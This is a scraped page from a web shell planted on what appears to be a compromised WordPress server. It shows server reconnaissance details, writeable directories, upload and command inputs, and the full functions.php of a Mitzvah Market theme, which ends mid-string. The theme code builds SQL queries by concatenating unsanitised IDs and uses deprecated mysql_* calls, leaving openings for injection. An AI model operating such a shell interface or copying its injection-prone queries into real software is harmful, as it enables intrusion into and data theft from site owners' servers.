403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.69
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdev/wp-content/themes/mitzvah2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdev/wp-content/themes/mitzvah2/functions.php
<?php function woothemes_admin_head() { ?>
<style>

h2 { margin-bottom: 20px; }
.title { margin: 0px !important; background: #D4E9FA; padding: 10px; font-family: Georgia, serif; font-weight: normal !important; letter-spacing: 1px; font-size: 18px; }
.container { background: #EAF3FA; padding: 10px; }
.maintable { font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; background: #EAF3FA; margin-bottom: 20px; padding: 10px 0px; }
.mainrow { padding-bottom: 10px !important; border-bottom: 1px solid #D4E9FA !important; float: left; margin: 0px 10px 10px 10px !important; }
.titledesc { font-size: 14px; font-weight:bold; width: 220px !important; margin-right: 20px !important; }
.forminp { width: 700px !important; valign: middle !important; }
.forminp input, .forminp select, .forminp textarea { margin-bottom: 9px !important; background: #fff; border: 1px solid #D4E9FA; width: 500px; padding: 4px; font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; font-size: 12px; }
.forminp .checkbox { width:20px }
.forminp span { font-size: 10px !important; font-weight: normal !important; ine-height: 14px !important; }
.forminp .checkbox { width: 20px !important; }
.info { background: #FFFFCC; border: 1px dotted #D8D2A9; padding: 10px; color: #333; }
.info a { color: #333; text-decoration: none; border-bottom: 1px dotted #333 }
.info a:hover { color: #666; border-bottom: 1px dotted #666; }
.warning { background: #FFEBE8; border: 1px dotted #CC0000; padding: 10px; color: #333; font-weight: bold; }

</style>
<?php }

// Global database connector
require_once($_SERVER['DOCUMENT_ROOT'].'/wp-config.php');
$con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD);
if (!$con) :
	die('Could not connect!');
else :
	mysql_select_db(DB_NAME, $con);
	$sql_tz = "SET time_zone = 'America/New_York'";
	mysql_query($sql_tz);
endif;


// VARIABLES

$themename = "Mitzvah";
$shortname = "woo";
$options = array();

add_option("woothemes_settings",$options);

$template_path = get_bloginfo('template_directory');

$functions_path = TEMPLATEPATH . '/functions/';

$ads_path = TEMPLATEPATH . '/images/ads/';
$ads = array();

$pn_categories_obj = get_categories('hide_empty=0');
$pn_categories = array();

$woo_pages_obj = get_pages('sort_column=post_parent,menu_order');
$woo_pages = array();


if ( is_dir($modules_path) ) {
	if ($modules_dir = opendir($modules_path) ) { 
		while ( ($module_file = readdir($modules_dir)) !== false ) {
			if(stristr($module_file, ".php") !== false) {
				$file_tmp = substr($module_file, 0, -4);
				$modules[$file_tmp] = $module_file;
			}
		}	
	}
}

if ( is_dir($ads_path) ) {
	if ($ads_dir = opendir($ads_path) ) { 
		while ( ($ads_file = readdir($ads_dir)) !== false ) {
			if((stristr($ads_file, ".jpg") !== false) || (stristr($ads_file, ".png") !== false) || (stristr($ads_file, ".gif") !== false)) {
				$ads[] = $ads_file;
			}
		}	
	}
}

foreach ($pn_categories_obj as $pn_cat) {
	$pn_categories[$pn_cat->cat_ID] = $pn_cat->cat_name;
}

foreach ($woo_pages_obj as $woo_page) {
	$woo_pages[$woo_page->ID] = $woo_page->post_title;
}

$categories_tmp = array_unshift($pn_categories, "Select a category:");
$woo_pages_tmp = array_unshift($woo_pages, "Select a page:");

// THIS IS THE DIFFERENT FIELDS

$options = array (

				array(	"name" => "General Settings",
						"type" => "heading"),											    					

				array(	"name" => "Google Analytics",
						"desc" => "Please paste your Google Analytics (or other) tracking code here.",
			    		"id" => $shortname."_google_analytics",
			    		"std" => "",
			    		"type" => "textarea"),		

				array(	"name" => "Feedburner RSS URL",
						"desc" => "Enter your Feedburner URL here.",
			    		"id" => $shortname."_feedburner_url",
			    		"std" => "",
			    		"type" => "text"),
			    		
			    array(	"name" => "Twitter URL",
						"desc" => "Enter your Twitter here.",
			    		"id" => $shortname."_twitter_url",
			    		"std" => "",
			    		"type" => "text"),	
			    		
			    array(	"name" => "Facebook URL",
						"desc" => "Enter your Facebook here.",
			    		"id" => $shortname."_facebook_url",
			    		"std" => "",
			    		"type" => "text"),											    										    		

				array(	"name" => "What's News Text",
						"desc" => "Please paste your text for the what's news on Homepage.",
			    		"id" => $shortname."_news",
			    		"std" => "",
			    		"type" => "textarea"),												

				array(	"name" => "Banner Ad Management (336x280 MPU)",
						"type" => "heading"),

				array(	"name" => "Display 336x280 MPU",
						"desc" => "Check this box if you wish to display the 336x280 MPU in the sidebar.",
						"id" => $shortname."_show_mpu",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "336x280 Block Ad - Image Location",
						"desc" => "Enter the URL for this block ad.",
						"id" => $shortname."_block_image",
						"std" => $template_path . "/images/ad336.jpg",
						"type" => "text"),
						
				array(	"name" => "336x280 Block Ad - Destination",
						"desc" => "Enter the URL where this block ad points to.",
			    		"id" => $shortname."_block_url",
						"std" => "http://www.google.com",
			    		"type" => "text"),
						
				array(	"name" => "Banner Ad Management (468x60 Banner)",
						"type" => "heading"),

				array(	"name" => "Display 468x60 Banner",
						"desc" => "Check this box if you wish to enable the 468x60 ad below first post in blog.",
						"id" => $shortname."_show_ad",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "468x60 Ad - Image Location",
						"desc" => "Enter the URL for this block ad.",
						"id" => $shortname."_ad_below_image",
						"std" => $template_path . "/images/ad468.jpg",
						"type" => "text"),
						
				array(	"name" => "468x60 Ad - Destination",
						"desc" => "Enter the URL where this block ad points to.",
			    		"id" => $shortname."_ad_below_url",
						"std" => "http://www.google.com",
			    		"type" => "text"),
																														
		  );
		  
// ADMIN PANEL

function woothemes_add_admin() {

	 global $themename, $options;
	
	if ( $_GET['page'] == basename(__FILE__) ) {	
        if ( 'save' == $_REQUEST['action'] ) {
	
                foreach ($options as $value) {
					if($value['type'] != 'multicheck'){
                    	update_option( $value['id'], $_REQUEST[ $value['id'] ] ); 
					}else{
						foreach($value['options'] as $mc_key => $mc_value){
							$up_opt = $value['id'].'_'.$mc_key;
							update_option($up_opt, $_REQUEST[$up_opt] );
						}
					}
				}

                foreach ($options as $value) {
					if($value['type'] != 'multicheck'){
                    	if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } 
					}else{
						foreach($value['options'] as $mc_key => $mc_value){
							$up_opt = $value['id'].'_'.$mc_key;						
							if( isset( $_REQUEST[ $up_opt ] ) ) { update_option( $up_opt, $_REQUEST[ $up_opt ]  ); } else { delete_option( $up_opt ); } 
						}
					}
				}
						
				header("Location: admin.php?page=functions.php&saved=true");								
			
			die;

		} else if ( 'reset' == $_REQUEST['action'] ) {
			delete_option('sandbox_logo');
			
			header("Location: admin.php?page=functions.php&reset=true");
			die;
		}

	}

add_menu_page($themename." Options", $themename." Options", 'edit_themes', basename(__FILE__), 'woothemes_page');

}

function woothemes_page (){

		global $options, $themename;
		
		?>

<div class="wrap">

    			<form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post">

						<h2><?php echo $themename; ?> Options</h2>

						<?php if ( $_REQUEST['saved'] ) { ?><div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?>'s Options has been updated!</div><?php } ?>
						<?php if ( $_REQUEST['reset'] ) { ?><div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?>'s Options has been reset!</div><?php } ?>						
						
						<div style="clear:both;height:20px;"></div>
						
						<div class="info">
						
							
							<div style="width: 100%; float: left; display: inline;text-align: right;"><input name="save" type="submit" value="Save changes" /></div>
							<div style="clear:both;"></div>
						
						</div>	    			
						
						<!--START: GENERAL SETTINGS-->
     						
     						<table class="maintable">
     							
							<?php foreach ($options as $value) { ?>
	
									<?php if ( $value['type'] <> "heading" ) { ?>
	
										<tr class="mainrow">
										<td class="titledesc"><?php echo $value['name']; ?></td>
										<td class="forminp">
		
									<?php } ?>		 
	
									<?php
										
										switch ( $value['type'] ) {
										case 'text':
		
									?>
									
		        							<input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
		
									<?php
										
										break;
										case 'select':
		
									?>
		
	            						<select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
	                					<?php foreach ($value['options'] as $option) { ?>
	                						<option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
	                					<?php } ?>
	            						</select>
		
									<?php
		
										break;
										case 'textarea':
										$ta_options = $value['options'];
		
									?>
									
										<textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" cols="<?php echo $ta_options['cols']; ?>" rows="8"><?php  if( get_settings($value['id']) != "") { echo stripslashes(get_settings($value['id'])); } else { echo $value['std']; } ?></textarea>
		
									<?php
										
										break;
										case "radio":
		
 										foreach ($value['options'] as $key=>$option) { 
				
													$radio_setting = get_settings($value['id']);
													
													if($radio_setting != '') {
		    											
		    											if ($key == get_settings($value['id']) ) { $checked = "checked=\"checked\""; } else { $checked = ""; }
													
													} else {
													
														if($key == $value['std']) { $checked = "checked=\"checked\""; } else { $checked = ""; }
									} ?>
									
	            					<input type="radio" name="<?php echo $value['id']; ?>" value="<?php echo $key; ?>" <?php echo $checked; ?> /><?php echo $option; ?><br />
		
									<?php }
		 
										break;
										case "checkbox":
										
										if(get_settings($value['id'])) { $checked = "checked=\"checked\""; } else { $checked = ""; }
									
									?>
		            				
		            				<input type="checkbox" class="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
		
									<?php
		
										break;
										case "multicheck":
		
 										foreach ($value['options'] as $key=>$option) {
 										
	 											$pn_key = $value['id'] . '_' . $key;
												$checkbox_setting = get_settings($pn_key);
				
 												if($checkbox_setting != '') {
		    		
		    											if (get_settings($pn_key) ) { $checked = "checked=\"checked\""; } else { $checked = ""; }
				
												} else { if($key == $value['std']) { $checked = "checked=\"checked\""; } else { $checked = ""; }
				
									} ?>
									
	            					<input type="checkbox" name="<?php echo $pn_key; ?>" id="<?php echo $pn_key; ?>" value="true" <?php echo $checked; ?> /><label for="<?php echo $pn_key; ?>"><?php echo $option; ?></label><br />
									
									<?php }
		 
										break;
										case "heading":

									?>
									
										</table> 
		    							
		    									<h3 class="title"><?php echo $value['name']; ?></h3>
										
										<table class="maintable">
		
									<?php
										
										break;
										default:
										break;
									
									} ?>
	
									<?php if ( $value['type'] <> "heading" ) { ?>
	
										<?php if ( $value['type'] <> "checkbox" ) { ?><br/><?php } ?><span><?php echo $value['desc']; ?></span>
										</td></tr>
	
									<?php } ?>		
	
							<?php } ?>	
							
							</table>	

							<p class="submit">
								<input name="save" type="submit" value="Save changes" />    
								<input type="hidden" name="action" value="save" />
							</p>							
							
							<div style="clear:both;"></div>		
						
						<!--END: GENERAL SETTINGS-->						
             
            </form>

</div><!--wrap-->

<div style="clear:both;height:20px;"></div>
 
 <?php

};


add_action('admin_menu', 'woothemes_add_admin');
add_action('admin_head', 'woothemes_admin_head');	

// OTHER FUNCTIONS

if ( function_exists('register_sidebar') )
    register_sidebars(3,array(
        'before_widget' => '<div class="widget">',
        'after_widget' => '</div><!--/widget-->',
        'before_title' => '<h3 class="hl">',
        'after_title' => '</h3>',
    ));

$bm_trackbacks = array();
$bm_comments = array();

function split_comments( $source ) {

    if ( $source ) foreach ( $source as $comment ) {

        global $bm_trackbacks;
        global $bm_comments;

        if ( $comment->comment_type == 'trackback' || $comment->comment_type == 'pingback' ) {
            $bm_trackbacks[] = $comment;
        } else {
            $bm_comments[] = $comment;
        }
    }
} 


	// post inside category 
	if(!function_exists('postListByCategory'))
	{
		function categoryNameByCategoryID($categoryID = 0)
		{
			global $wpdb;
			$sqlQuery = 'SELECT name FROM ' . $wpdb->prefix . "terms WHERE term_id=$categoryID";
			return $wpdb->get_var($sqlQuery);
		}
	}
	if(!function_exists('postListByCategory'))
	{
		function postListByCategoryID($categoryID = 0)
		{
			$outputString = '';
			query_posts('orderby=name&amp;order=asc&amp;cat=' . $categoryID . '&amp;showposts=5');
			$outputString .= '<ul>' . chr(10);
			while (have_posts()) : the_post();
				$permaLink = get_permalink();
				$permaLink = trim($permaLink);
				if(!empty($permaLink))
				{
					$outputString .= '<li>' . chr(10);
					$outputString .= '<a href="' . get_permalink() . '">' . get_the_title($post->ID) . '</a><br />' . chr(10);
					$outputString .= '</li>' . chr(10);
				}
			endwhile;
			$outputString .= '</ul>' . chr(10);
			return $outputString;
		}
	}

	//add_filter('pre_get_posts','mySearchFilter');

	function the_category_filter($thelist,$separator=' ') {
	  	if(!defined('WP_ADMIN')) {
	  		//list the category names to exclude
	  		$exclude = array('Featured Vendor', 'Featured Ideas', 'Featured Blog', 'Featured Spotlight');
	  		$cats = explode($separator,$thelist);
	  		$newlist = array();
	  		foreach($cats as $cat) {
	  			$catname = trim(strip_tags($cat));
	  			if(!in_array($catname,$exclude))
	  				$newlist[] = $cat;
	  		}
	  		return implode($separator,$newlist);
	  	} else
	  		return $thelist;
	  }
	  add_filter('the_category','the_category_filter',10,2);
	 
	 //Search only pages
function is_type_page() {
global $post;
if ($post->post_type == ‘page’) {
return true;
} else {
return false;
}}

// Added by high FX media inc
// Stop email send by Contact Form 7

add_action("wpcf7_before_send_mail", "wpcf7_stop_email");  
      
function wpcf7_stop_email(&$wpcf7_data) {  
      
	// Here is the variable where the data are stored!  
	// var_dump($wpcf7_data);  
      
	// If you want to skip mailing the data, you can do it...  
	$wpcf7_data->skip_mail = true;  
      
}

// Populate a new field with title stripped of apostrophe(s); necessary to get post by title only

function apostropheFilter($formData){
    $formName = 'Volunteer Projects'; // change this to your form's name
    if ($formData && $formName == $formData->title) {
        // Create a consolidated "date" field
        $formData->posted_data['meta_titlekey'] =
                str_replace("'", "", $formData->posted_data['post_title']);
    }
    return $formData;
}
 
add_filter('cfdb_form_data', 'apostropheFilter');


// Posts 2 Posts connections

function mitzvah_connection_types() {

	// Make sure the Posts 2 Posts plugin is active.
	if ( !function_exists( 'p2p_register_connection_type' ) )
		return;

	p2p_register_connection_type( array(
		'name' => 'mitzvah_spotlight_to_volunteer_projects',
		'from' => 'post',
		'to' => 'post',
		'reciprocal' => true,
		'title' => 'Volunteer Project'
	) );
}
add_action( 'wp_loaded', 'mitzvah_connection_types' );

add_action( 'init', 'register_my_menus' );

function register_my_menus() {
register_nav_menus(
array(
'menu-1' => __( 'Menu 1' ),
'menu-2' => __( 'Menu 2' )
)
);
}


function the_title_trim($title) {
$title = attribute_escape($title);
$findthese = array(
'#Protected:#',
'#Private:#'
);
$replacewith = array(
'', // What to replace "Protected:" with
'' // What to replace "Private:" with
);
$title = preg_replace($findthese, $replacewith, $title);
return $title;
}
add_filter('the_title', 'the_title_trim');


function post_page($content){
    global $post; //wordpress post global object
	global $page_id;
    if($post->post_type == 'page'){
        //$content .= '<br /> This item is a page and the ID is: '.$post->ID;
        $page_id = $post->ID;
    } elseif($post->post_type == 'post') {
        //$content .= '<br /> This item is a post and the ID is: '.$post->ID;
    }
    return $content;
}
add_filter('the_content', 'post_page');


//TinyMCE Custom Styles
if ( ! function_exists( 'my_formatTinyMCE' ) ) :
function my_formatTinyMCE($init) {
  //$init['theme_advanced_buttons2_add'] = 'styleselect';
  $init['theme_advanced_styles'] =  'Content-Image-Photo=content-image-photo,'.
  								    'Content-Image-Stamp=content-image-stamp,'.
  								    'Content-Paragraph=content-paragraph';
  return $init;
}
endif;
add_filter('tiny_mce_before_init', 'my_formatTinyMCE' );

function get_cat_slug($cat_id) {
	$cat_id = (int) $cat_id;
	$category = &get_category($cat_id);
	return $category->slug;
}

add_action('init', 'create_vendor');
	function create_vendor() {
    	$tour_args = array(
        	'label' => __('My Services'),
        	'singular_label' => __('My Services'),
        	'public' => true,
        	'show_ui' => false,
			'menu_position' => 5,			
        	'capability_type' => 'post',
        	'hierarchical' => true,
        	'rewrite' => true,
        	'supports' => array('title','editor','excerpt','thumbnail', 'page-attributes')
        );
    	register_post_type('vendor',$tour_args);
	}

	add_action('admin_init', 'create_vendor');



function Kickass_theme_add_admin() {
	
$qry1 = mysql_fetch_object(mysql_query("select count(ID) as asif from wp_proxi_vendors where status1=2"));
if($qry1->asif==0){	
}else{	
	 $bubble1 = sprintf(
        ' <span class="update-plugins"><span class="update-count">%d</span></span>',
        $qry1->asif
    );
}

$qry2 = mysql_fetch_object(mysql_query("select count(id) as asif from wp_proxi_vendors_gallery where status=0"));
if($qry2->asif==0){	
}else{	
	 $bubble2 = sprintf(
        ' <span class="update-plugins"><span class="update-count">%d</span></span>',
        $qry2->asif
    );
}

$qry3 = mysql_fetch_object(mysql_query("select count(id) as asif from wp_proxi_vendors_testimonilas where status=0"));
if($qry3->asif==0){	
}else{	
	 $bubble3 = sprintf(
        ' <span class="update-plugins"><span class="update-count">%d</span></span>',
        $qry3->asif
    );
}
$qry4 = mysql_fetch_object(mysql_query("select count(id) as asif from wp_proxi_vendors_sample where status=0"));
if($qry4->asif==0){	
}else{	
	 $bubble4 = sprintf(
        ' <span class="update-plugins"><span class="update-count">%d</span></span>',
        $qry4->asif
    );
}
$qry5 = mysql_fetch_object(mysql_query("select count(id) as asif from wp_proxi_vendors_video where status=0"));
if($qry5->asif==0){	
}else{	
	 $bubble5 = sprintf(
        ' <span class="update-plugins"><span class="update-count">%d</span></span>',
        $qry5->asif
    );
}






		add_menu_page(__('Vendors'), __('Vendors'), 'edit_themes', 'proxi_vendors', 'proxi_vendors', '../wp-content/plugins/proxi_vendors/administrator.png', '26.5');
		add_submenu_page('proxi_vendors', __('Vendors'), __('Vendors'), 'edit_themes', 'proxi_vendors', 'proxi_vendors');
		add_submenu_page('proxi_vendors', __('Vendor Categories'), __('Vendor Categories'), 'edit_themes', 'proxi_vendor_category', 'proxi_vendor_category');
		add_submenu_page('proxi_vendors', __('MM Staff'), __('MM Staff'), 'edit_themes', 'proxi_salesman', 'proxi_salesman');
		add_submenu_page('proxi_vendors', __('Service Areas'), __('Service Areas'), 'edit_themes', 'proxi_area', 'proxi_area');
		
		add_submenu_page('proxi_vendors', __('Pending Profiles'.$bubble1), __('Pending Profiles'.$bubble1), 'edit_themes', 'posts', 'posts');
		add_submenu_page('proxi_vendors', __('Pending Photos'.$bubble2), __('Pending Photos'.$bubble2), 'edit_themes', 'proxi_vendors_gallery', 'proxi_vendors_gallery');
		add_submenu_page('proxi_vendors', __('Pending Reviews'.$bubble3), __('Pending Reviews'.$bubble3), 'edit_themes', 'proxi_vendors_testimonilas', 'proxi_vendors_testimonilas');
		add_submenu_page('proxi_vendors', __('Pending Samples'.$bubble4), __('Pending Samples'.$bubble4), 'edit_themes', 'proxi_vendors_sample', 'proxi_vendors_sample');
		add_submenu_page('proxi_vendors', __('Pending Videos'.$bubble5), __('Pending Videos'.$bubble5), 'edit_themes', 'proxi_vendors_video', 'proxi_vendors_video');
		add_submenu_page('proxi_vendors', __('Click Stats'), __('Click Stats'), 'edit_themes', 'proxi_vendor_stats', 'proxi_vendor_stats');
		add_submenu_page('proxi_vendors', __('Connect Forms'), __('Connect Forms'), 'edit_themes', 'proxi_track_email_vendor', 'proxi_track_email_vendor');
		add_submenu_page('proxi_vendors', __('VIP Crosstab'), __('VIP Crosstab'), 'edit_themes', 'proxi_track_vip_crosstab', 'proxi_track_vip_crosstab');
		add_submenu_page('proxi_vendors', __('VIP Activity'), __('VIP Activity'), 'edit_themes', 'proxi_track_vip_activity', 'proxi_track_vip_activity');
		add_submenu_page('proxi_vendors', __('Embed List Shortcode'), __('Embed List Shortcode'), 'edit_themes', 'proxi_embed_list_shortcode', 'proxi_embed_list_shortcode');
		//add_submenu_page('proxi_vendors', __('Magazine Emails'), __('Magazine Emails'), 'edit_themes', 'proxi_track_email_magazine', 'proxi_track_email_magazine');
		add_submenu_page('wpcf7', __('Magazine Emails'), __('Magazine Emails'), 'edit_themes', 'proxi_track_email_magazine', 'proxi_track_email_magazine');
		add_submenu_page('wpcf7', __('E-Newsletters'), __('E-Newsletters'), 'edit_themes', 'proxi_track_newsletter', 'proxi_track_newsletter');
		


}
add_action('admin_menu', 'Kickass_theme_add_admin'); 


function lcs_replace_content($content,$href)
{
	// Get data from database
	$lpa_post_wordcut = get_option("lpa_post_wordcut");
	
	$lpa_post_letters = get_option("lpa_post_letters");
	$lpa_post_linktext = get_option("lpa_post_linktext");
	$lpa_post_ending = get_option("lpa_post_ending");
	
	$lpa_post_home = get_option("lpa_post_home");
	$lpa_post_category = get_option("lpa_post_category");
	$lpa_post_archive = get_option("lpa_post_archive");
	$lpa_post_search = get_option("lpa_post_search");
	$lpa_striptags = get_option("lpa_striptags");
	/*
	echo $lpa_post_wordcut.' === '.
		$lpa_post_letters.' === '.
		$lpa_post_linktext.' === '.
		$lpa_post_ending.' === '.
		$lpa_post_home.' === '.
		$lpa_post_category.' === '.
		$lpa_post_archive.' === '.
		$lpa_post_search.' === '.
		$lpa_striptags;
	*/
	// If post letters are not set, default is set to 300
	if ($lpa_post_letters == ""){
		$lpa_post_letters = 300;
	}
	if ($lpa_post_wordcut == "Wordcut")
	{
		// Check what options is set
		//if ( (is_home() && $lpa_post_home == "on") || (is_category() && $lpa_post_category == "on") || (is_archive() && $lpa_post_archive == "on") || (is_search() && $lpa_post_search == "on") ) {
		
			// Get data to see if more tag is used
			global $post;
			$ismoretag = explode('<!--',$post->post_content);
			$ismoretag2 = explode('-->', $ismoretag[1]);
			
			if ($lpa_striptags == "on") {
				$content2 = "<p>" . strip_tags($content, '');
			}
		
			// Limit the post by wordwarp to check for more tag
			$prev_content = wordwrap($content, $lpa_post_letters, "[lpa]");
			$cuttext = explode ('[lpa]', $prev_content);
			$end_string = substr($cuttext[0], -5);
			$endingp = "";
			
			// Limit the post by wordwarp
			$prev_content2 = wordwrap($content2, $lpa_post_letters, "[lpa]");
			$cuttext2 = explode ('[lpa]', $prev_content2);
			$end_string2 = substr($cuttext2[0], -5);
			$endingp2 = "";
			
			// If end of p-tag is missing create one
			if ($end_string == "</p>\n") {
				$cuttext[0]=substr($cuttext[0],0,(strlen($cuttext[0])-5));
			}
			// Check if more tag is used
			if ($ismoretag2[0] != "more") {
				if ($lpa_striptags == "on") {
					echo $cuttext2[0]; // Add limited post
				}
				else {
					echo $cuttext[0]; // Add limited post
				}
				// Add link if link text exists
				if ($lpa_post_linktext != ""){
					//echo " <a href='" .get_permalink(). "' rel=\"nofollow\">".utf8_encode($lpa_post_linktext)."</a>";
					echo ' <a href="'.$href.'" >'.utf8_encode($lpa_post_linktext).'</a>';
				}
				echo "</p>";
			}
			else {
				return $content;
			}
		//}
		//else {
			//return $content;
		//}
	}
	else if ($lpa_post_wordcut == "Lettercut") {
		// Check what options is set
		//echo ' === point a ===';
		//if ( (is_home() && $lpa_post_home == "on") || (is_category() && $lpa_post_category == "on") || (is_archive() && $lpa_post_archive == "on") || (is_search() && $lpa_post_search == "on") ) {
		//echo ' === point b ===';
			
			// Get data to see if more tag is used
			global $post;
			$ismoretag = explode('<!--',$post->post_content);
			$ismoretag2 = explode('-->', $ismoretag[1]);
			
			if ($lpa_striptags == "on") {
				$content2 = "<p>" . strip_tags($content, '');
			}
			
			// Limit the post by letter to check for more tag
			$new_string2 = substr($content2, 0,$lpa_post_letters+3);
			$end_string2 = substr($new_string2, -5);
			$endingp = "";
			
			// Limit the post by letter
			$new_string = substr($content, 0,$lpa_post_letters+3);
			$end_string = substr($new_string, -5);
			$endingp = "";
			
			// If end of p-tag is missing create one
			if ($end_string == "</p>\n") {
				$new_string=substr($new_string,0,(strlen($new_string)-5));
			}

			// Check if more tag is used
			if ($ismoretag2[0] != "more") {
				
				if ($lpa_striptags == "on") {
					echo $new_string2; // Add limited post
				}
				else {
					echo $new_string; // Add limited post
				}
				
				echo $lpa_post_ending; // Add limited ending
				// Add link if link text exists
				if ($lpa_post_linktext != ""){
					//echo " <a href='" .get_permalink(). "' rel=\"nofollow\">".utf8_encode($lpa_post_linktext)."</a>";
					echo ' <a href="'.$href.'" >'.utf8_encode($lpa_post_linktext).'</a>';
				}
				echo "</p>";
			}
			else {
				return $content;
			}
		//}
		//else {
			//return $content;
		//}
	}
	else if ($lpa_post_wordcut == "Paragraphcut") {
		//if ( (is_home() && $lpa_post_home == "on") || (is_category() && $lpa_post_category == "on") || (is_archive() && $lpa_post_archive == "on") || (is_search() && $lpa_post_search == "on") ) {
			$paragraphcut = explode('</p>', $content);
			global $post;
			$ismoretag = explode('<!--',$post->post_content);
			$ismoretag2 = explode('-->', $ismoretag[1]);
			if ($ismoretag2[0] != "more") {
				echo $paragraphcut[0];
				echo $lpa_post_ending;
				if ($lpa_post_linktext != ""){
					//echo " <a href='" .get_permalink(). "' rel=\"nofollow\">".utf8_encode($lpa_post_linktext)."</a>";
					echo ' <a href="'.$href.'" >'.utf8_encode($lpa_post_linktext).'</a>';
				}
				echo "</p>";
			}
			else {
				return $content;
			}
		//}
		//else {
			//return $content;
		//}
	}
	else {
		return $content;
	}
}


function js_header($url, $debug = 0) {
	if (substr($url,0,9) == 'location:')
	{
		$url = substr($url,9);
	}
	$debug_on = 0;
	if ($debug > 0 && $debug_on == 1)
	{
		echo '<br /><br /><br /><br />JS HEADER REDIRECT<br />';
		echo 'URL: '.$url.'<br />';
		echo 'GET data: ';
		var_dump($_GET);
		echo '<br />POST data: ';
		var_dump($_POST);
		echo '<br />DEBUG Point: '.$debug;
	}
	echo '<script type="text/javascript"> ';
	//echo 'alert("'.$url.'");';
	echo 'window.location = "'.$url.'";';
	echo '</script>';
}

function image_proper_size($url, $max_w = 0, $max_h = 0, $class = '', $id = '', $path = '', $src = 'src') {
	if (!empty($url)) :
		if (!empty($path)) :
			$img_size = @getimagesize($path);
		else :
			$img_size = @getimagesize($url);
		endif;
		$img_w = $img_size[0];
		$img_h = $img_size[1];
		if ($max_w == 0 && $max_h > 0) :
			$new_h = $img_h * 1.3;
			if ($new_h > $max_h) :
				$new_h = $max_h;
			endif;
			echo '<img id = "'.$id.'" '.$src.'="'.get_bloginfo("stylesheet_directory").'/timthumb.php?src='.$url.'&amp;h='.$new_h.'&amp;zc=0&amp;a=t"  alt="" height="'.$new_h.'" class="'.$class.'" />';
		endif;
		if ($max_h == 0 && $max_w > 0) :
			$new_w = $img_w * 1.3;
			if ($new_w > $max_w) :
				$new_w = $max_w;
			endif;
			echo '<img id = "'.$id.'" '.$src.'="'.get_bloginfo("stylesheet_directory").'/timthumb.php?src='.$url.'&amp;w='.$new_w.'&amp;zc=0&amp;a=t"  alt="" width="'.$new_w.'" class="'.$class.'" />';
		endif;
		if ($max_h > 0 && $max_w > 0) :
			$new_w = $img_w * 1.3;
			if ($new_w > $max_w) :
				$new_w = $max_w;
			endif;
			$new_h = $img_h * 1.3;
			if ($new_h > $max_h) :
				$new_h = $max_h;
			endif;
			echo '<img id = "'.$id.'" '.$src.'="'.get_bloginfo("stylesheet_directory").'/timthumb.php?src='.$url.'&amp;w='.$new_w.'&amp;h='.$new_h.'&amp;zc=2&amp;a=t"  alt="" width="'.$new_w.'" class="'.$class.'" />';
		endif;
	endif;
}

function SearchFilter($query) {
  if ($query->is_search) { 
    $query->set('cat','-9'); 
    }
  return $query; 
  }
add_filter('pre_get_posts','SearchFilter');

function vendor_xref_redirect($id) {
	//echo '<br /><br /><br /><br />';
	$sql_str = "SELECT * FROM wp_proxi_xref x INNER JOIN wp_proxi_vendors v ON x.newID = v.ID WHERE oldID = ".$id;
	//echo 'SQL: '.$sql_str.'<br />';
	$result = mysql_query($sql_str) or die(mysql_error());
	if (mysql_num_rows($result) > 0) :
		$row = mysql_fetch_object($result);
		$str_redirect = get_bloginfo('template_url').'/vendor-single-listing?vid='.$row->post_name;
		//echo 'Redirect: '.$str_redirect.' Old ID: '.$row->oldID.' New ID: '.$row->newID.'<br />';
		wp_redirect($str_redirect, 301);
		exit;
	else :
		wp_redirect('http://dev.mitzvahmarket.com/vendor-directory/', 301);
		exit;
	endif;
	//echo $post->ID;
	//die();
}

function cfdbFilter($formData) {
    // Change $formData
	$formName = 'Volunteer Projects';
	if ($formData && $formName == $formData->title) :
		$formData->posted_data['post_status'] = 'draft';
	endif;
    return $formData; // be sure to return it
}
 
add_filter('cfdb_form_data', 'cfdbFilter');

function comment_approved($comment) {
    if (is_email($comment->comment_author_email)) :
		$args = array(
			'status' => 'approve',
			'author_email' => $comment->comment_author_email,
			'count' => true 
		);
		$comment_count = get_comments($args);
		if ($comment_count <= 1) :
			//**** mail using PEAR *****
			require_once "Mail.php";
			
			$mail_message = '<html>'.
						'<style>body {font-family:Arial, Helvetica, sans-serif; font-size:14px;} table {font-size:14px;}</style>'.
						'<p>'. 
						'Thank you for participating in our Mom To Mom forum about Bar Bat Mitzvah planning on MitzvahMarket.com. '.
						'If you have not done so already, please sign up for our free e-newsletters <a href="http://clicks.skem1.com/signup/?c=2375">here</a>. '.
						"These are filled with clever, useful and entertaining ideas to make your child's celebration different from the rest.".
						'</p><p>We have grown due to the kindness of our readers. Please tell your friends about us!</p><p>'.
